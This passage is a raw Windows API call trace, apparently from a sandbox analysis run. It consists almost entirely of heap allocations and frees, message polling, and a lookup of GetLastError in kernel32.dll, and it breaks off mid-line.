[0131.828] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0131.829] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0131.829] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0131.829] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0131.829] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1068278 | out: hHeap=0xe80000) returned 1 [0131.829] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf238 | out: hHeap=0xe80000) returned 1 [0131.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0131.829] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1a8 [0131.829] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1a8 | out: hHeap=0xe80000) returned 1 [0131.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0131.830] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec12a8 [0131.830] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a48 [0131.830] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0131.830] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0131.830] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0131.830] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0131.830] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a48 | out: hHeap=0xe80000) returned 1 [0131.831] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec12a8 | out: hHeap=0xe80000) returned 1 [0131.831] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0131.831] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f40 | out: hHeap=0xe80000) returned 1 [0131.831] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0131.831] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf088 [0131.831] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0131.831] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557d0 [0131.831] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557d0 | out: hHeap=0xe80000) returned 1 [0131.831] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0131.831] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf088 | out: hHeap=0xe80000) returned 1 [0131.831] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e40 [0131.831] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0131.831] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1410 [0131.831] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0131.832] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf108 [0131.832] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0131.832] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec12a8 [0131.832] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0131.832] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076910 [0131.832] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf188 [0131.832] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076910 | out: hHeap=0xe80000) returned 1 [0131.832] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0131.832] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0131.832] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0131.832] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076820 [0131.832] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0131.832] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0131.832] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1e8 [0131.832] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0131.832] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1e8 | out: hHeap=0xe80000) returned 1 [0131.832] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0131.832] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0131.832] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769e8 [0131.832] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0131.832] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf228 [0131.832] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a00 [0131.832] CharLowerBuffW (in: lpsz="dword", cchLength=0x5 | out: lpsz="dword") returned 0x5 [0131.833] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076838 [0131.833] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf0b8 [0131.833] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf0e8 [0131.833] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768f8 [0131.833] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076838 | out: hHeap=0xe80000) returned 1 [0131.833] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0b8 | out: hHeap=0xe80000) returned 1 [0131.833] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0131.833] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0e8 | out: hHeap=0xe80000) returned 1 [0131.833] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x770a0000 [0131.833] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0131.833] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf178 [0131.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetLastError", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0131.833] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xd) returned 0x1076a48 [0131.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetLastError", cchWideChar=13, lpMultiByteStr=0x1076a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetLastError", lpUsedDefaultChar=0x0) returned 13 [0131.833] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a48 | out: hHeap=0xe80000) returned 1 [0131.833] GetProcAddress (hModule=0x770a0000, lpProcName="GetLastError") returned 0x770b3870 [0131.833] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0131.833] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf178 | out: hHeap=0xe80000) returned 1 [0131.834] GetLastError () returned 0x0 [0131.834] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf158 [0131.834] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x214) returned 0x107f618 [0131.834] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf098 [0131.834] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0131.834] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a48 [0131.834] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0131.834] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1b8 [0131.834] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0131.834] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1b8 | out: hHeap=0xe80000) returned 1 [0131.834] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a48 | out: hHeap=0xe80000) returned 1 [0131.834] FreeLibrary (hLibModule=0x770a0000) returned 1 [0131.834] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a00 | out: hHeap=0xe80000) returned 1 [0131.834] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0131.834] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076820 | out: hHeap=0xe80000) returned 1 [0131.834] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0131.834] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076898 | out: hHeap=0xe80000) returned 1 [0131.834] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0131.834] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769e8 | out: hHeap=0xe80000) returned 1 [0131.834] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0131.835] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0131.835] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf188 | out: hHeap=0xe80000) returned 1 [0131.835] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0131.836] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e40 | out: hHeap=0xe80000) returned 1 [0131.836] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015640 | out: hHeap=0xe80000) returned 1 [0131.836] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0131.836] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1e8 [0131.836] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0e8 [0131.836] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a60 [0131.836] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0e8 | out: hHeap=0xe80000) returned 1 [0131.836] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a60 | out: hHeap=0xe80000) returned 1 [0131.836] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf218 [0131.837] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055570 [0131.837] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767c0 [0131.837] GetLastError () returned 0x0 [0131.837] SetLastError (dwErrCode=0x0) [0131.837] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10767c0 | out: hHeap=0xe80000) returned 1 [0131.837] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055570 | out: hHeap=0xe80000) returned 1 [0131.837] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf218 | out: hHeap=0xe80000) returned 1 [0131.837] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1e8 | out: hHeap=0xe80000) returned 1 [0131.837] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015640 [0131.837] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0131.838] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015640 | out: hHeap=0xe80000) returned 1 [0131.838] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0131.838] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10686b0 | out: hHeap=0xe80000) returned 1 [0131.838] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076958 | out: hHeap=0xe80000) returned 1 [0131.838] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076970 | out: hHeap=0xe80000) returned 1 [0131.838] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bf8 | out: hHeap=0xe80000) returned 1 [0131.838] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0131.838] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf068 | out: hHeap=0xe80000) returned 1 [0131.838] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076af0 | out: hHeap=0xe80000) returned 1 [0131.838] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0131.839] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0131.839] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107f3f8 | out: hHeap=0xe80000) returned 1 [0131.839] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.839] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a78 | out: hHeap=0xe80000) returned 1 [0131.839] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0131.839] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.840] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1618 | out: hHeap=0xe80000) returned 1 [0131.840] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0131.840] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076988 | out: hHeap=0xe80000) returned 1 [0131.840] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1708 | out: hHeap=0xe80000) returned 1 [0131.841] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaef48 | out: hHeap=0xe80000) returned 1 [0131.841] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1550 | out: hHeap=0xe80000) returned 1 [0131.841] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0131.841] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076808 | out: hHeap=0xe80000) returned 1 [0131.841] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaef78 | out: hHeap=0xe80000) returned 1 [0131.842] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1730 | out: hHeap=0xe80000) returned 1 [0131.842] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0131.842] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.843] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107f618 | out: hHeap=0xe80000) returned 1 [0131.843] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0131.843] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0131.844] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec12a8 | out: hHeap=0xe80000) returned 1 [0131.844] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf108 | out: hHeap=0xe80000) returned 1 [0131.845] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1410 | out: hHeap=0xe80000) returned 1 [0131.845] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10766e8 | out: hHeap=0xe80000) returned 1 [0131.845] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf048 | out: hHeap=0xe80000) returned 1 [0131.846] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec15a0 | out: hHeap=0xe80000) returned 1 [0131.846] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10766d0 | out: hHeap=0xe80000) returned 1 [0131.846] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10766a0 | out: hHeap=0xe80000) returned 1 [0131.847] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0131.847] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.847] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec12f8 [0131.847] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10766a0 [0131.847] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaef78 [0131.847] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10766a0 | out: hHeap=0xe80000) returned 1 [0131.847] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec30c8 [0131.847] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10766a0 [0131.847] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10766d0 [0131.847] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf048 [0131.847] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10766d0 | out: hHeap=0xe80000) returned 1 [0131.847] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec12a8 [0131.847] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10766d0 [0131.847] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaef48 [0131.847] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf238 [0131.847] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec2fb0 [0131.847] CharUpperBuffW (in: lpsz="DJVLLWQLKATZJRZPICPARXZ", cchLength=0x17 | out: lpsz="DJVLLWQLKATZJRZPICPARXZ") returned 0x17 [0131.848] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2fb0 | out: hHeap=0xe80000) returned 1 [0131.849] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf238 | out: hHeap=0xe80000) returned 1 [0131.849] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1320 [0131.849] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf1d8 [0131.849] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1370 [0131.849] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10766e8 [0131.849] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0a8 [0131.849] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0131.849] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0a8 | out: hHeap=0xe80000) returned 1 [0131.849] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf0e8 [0131.849] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076970 [0131.849] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf178 [0131.849] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0131.849] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf178 | out: hHeap=0xe80000) returned 1 [0131.849] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076a48 [0131.849] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1618 [0131.850] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0131.850] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1e8 [0131.850] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0131.850] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0131.850] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1708 [0131.850] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0131.850] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf178 [0131.850] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0131.850] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a60 [0131.850] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0x10688a8 [0131.850] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.850] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1398 [0131.850] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076988 [0131.850] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf168 [0131.850] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076988 | out: hHeap=0xe80000) returned 1 [0131.850] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1550 [0131.850] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076808 [0131.850] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0131.850] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf068 [0131.850] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0131.850] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf068 | out: hHeap=0xe80000) returned 1 [0131.850] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.850] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1730 [0131.850] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0131.851] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf0f8 [0131.851] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0131.851] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec15a0 [0131.851] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a78 [0131.851] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768f8 [0131.851] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0131.851] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0131.851] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.851] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.851] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0131.851] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076958 [0131.851] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf238 [0131.851] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076820 [0131.851] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.851] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.851] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf218 [0131.851] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf218 | out: hHeap=0xe80000) returned 1 [0131.851] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015640 [0131.851] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.851] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf088 [0131.851] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0131.851] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557f0 [0131.852] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557f0 | out: hHeap=0xe80000) returned 1 [0131.852] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.852] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf088 | out: hHeap=0xe80000) returned 1 [0131.852] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e40 [0131.852] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.852] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, 